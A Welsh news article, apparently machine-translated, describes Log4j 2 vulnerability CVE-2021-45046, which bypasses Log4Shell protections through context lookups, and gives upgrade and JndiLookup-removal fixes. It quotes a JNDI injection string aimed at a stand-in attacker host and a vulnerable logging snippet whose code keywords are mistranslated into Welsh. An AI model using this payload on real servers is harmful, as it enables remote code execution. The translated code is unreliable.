Opsiwn ymosod newydd ar gyfer Log4j 2 sy'n eich galluogi i osgoi'r amddiffyniad ychwanegol

Mae bregusrwydd arall wedi'i nodi wrth weithredu chwiliadau JNDI yn llyfrgell Log4j 2 (CVE-2021-45046), sy'n ymddangos er gwaethaf yr atgyweiriadau a ychwanegwyd yn natganiad 2.15 a waeth beth fo'r defnydd o'r gosodiad “log4j2.noFormatMsgLookup” ar gyfer amddiffyn. Mae'r broblem yn beryglus yn bennaf ar gyfer fersiynau hŷn o Log4j 2, wedi'i diogelu gan ddefnyddio'r faner “noFormatMsgLookup”, gan ei fod yn ei gwneud hi'n bosibl osgoi amddiffyniad rhag gwendidau blaenorol (Log4Shell, CVE-2021-44228), sy'n caniatáu ichi weithredu'ch cod ar y gweinydd. Ar gyfer defnyddwyr fersiwn 2.15, mae ecsbloetio wedi'i gyfyngu i achosi i'r rhaglen chwalu oherwydd lludded yr adnoddau sydd ar gael.

Dim ond ar systemau sy'n defnyddio Cyd-destun Chwilio am gofnodion y mae'r bregusrwydd yn ymddangos, megis ${ctx:loginId}, neu dempledi MDC (Map Cyd-destun Thread), megis % X, %mdc, a % MDC. Mae gweithrediad yn ymwneud â chreu amodau ar gyfer allbynnu data sy'n cynnwys amnewidiadau JNDI i'r log wrth ddefnyddio ymholiadau cyd-destun neu dempledi MDC yn y rhaglen sy'n diffinio'r rheolau ar gyfer fformatio allbwn i'r log.

Nododd ymchwilwyr o LunaSec, ar gyfer fersiynau o Log4j llai na 2.15, y gellir defnyddio'r bregusrwydd hwn fel fector newydd ar gyfer ymosodiad Log4Shell, gan arwain at weithredu cod, os defnyddir ymadroddion ThreadContext sy'n cynnwys data allanol yn yr allbwn log, ni waeth a yw'r "protect" flag wedi ei alluogi. noMsgFormatLookups" neu'r templed "%m{nolookups}".

Opsiwn ymosod newydd ar gyfer Log4j 2 sy'n eich galluogi i osgoi'r amddiffyniad ychwanegol

Mae osgoi'r amddiffyniad yn dibynnu ar y ffaith, yn lle amnewidiad uniongyrchol o "${jndi:ldap://attacker.com/a}", amnewidir yr ymadrodd hwn trwy werth newidyn canolradd a ddefnyddir yn y rheolau ar gyfer fformatio allbwn log . Er enghraifft, os defnyddir yr ymholiad cyd-destun ${ctx:apiversion} wrth allbynnu i'r log, yna gellir cyflawni'r ymosodiad trwy amnewid y data "${jndi:ldap://attacker.com/a}" i'r gwerth wedi'i ysgrifennu i'r newidyn gwrthgiliad. Enghraifft o god bregus: appender.console.layout.pattern = ${ctx:apiversion} - %d{bbbb-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping ("/") mynegai Llinynnol cyhoeddus (@RequestHeader ("X-Api-Version") String apiVersion) {// Mae gwerth pennyn HTTP "X-Api-Version" yn cael ei drosglwyddo i'r ThreadContext ThreadContext.put("apiversion " , apiVersion ); // Wrth allbynnu i'r lòg, bydd y gwerth gwrthdyniad allanol yn cael ei brosesu gan ddefnyddio'r amnewidiad ${ctx:apiversion} logger.info("Derbyniwyd cais am fersiwn API"); dychwelyd "Helo, byd!"; }

Yn fersiwn Log4j 2.15, gellir defnyddio'r bregusrwydd i berfformio ymosodiadau DoS wrth basio gwerthoedd i'r ThreadContext, gan arwain at ddolen mewn prosesu templed fformatio allbwn.

Opsiwn ymosod newydd ar gyfer Log4j 2 sy'n eich galluogi i osgoi'r amddiffyniad ychwanegol

Er mwyn atal y bregusrwydd, cyhoeddwyd diweddariadau 2.16 a 2.12.2. Yn y gangen Log4j 2.16, yn ogystal â'r atgyweiriadau a weithredwyd yn fersiwn 2.15 a rhwymo ceisiadau JNDI LDAP i “localhost”, mae ymarferoldeb JNDI wedi'i analluogi'n llwyr yn ddiofyn a chaiff cefnogaeth ar gyfer templedi amnewid negeseuon ei ddileu. Fel ateb diogelwch, argymhellir tynnu'r dosbarth JndiLookup o'r llwybr dosbarth (er enghraifft, “zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class”) .

Gallwch olrhain ymddangosiad atebion mewn pecynnau ar dudalennau dosbarthiadau (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) a gweithgynhyrchwyr platfform Java (GitHub, Docker, Oracle, vmWare, Broadcom ac Amazon / AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, ac ati).

Ffynhonnell: opennet.ru

Ychwanegu sylw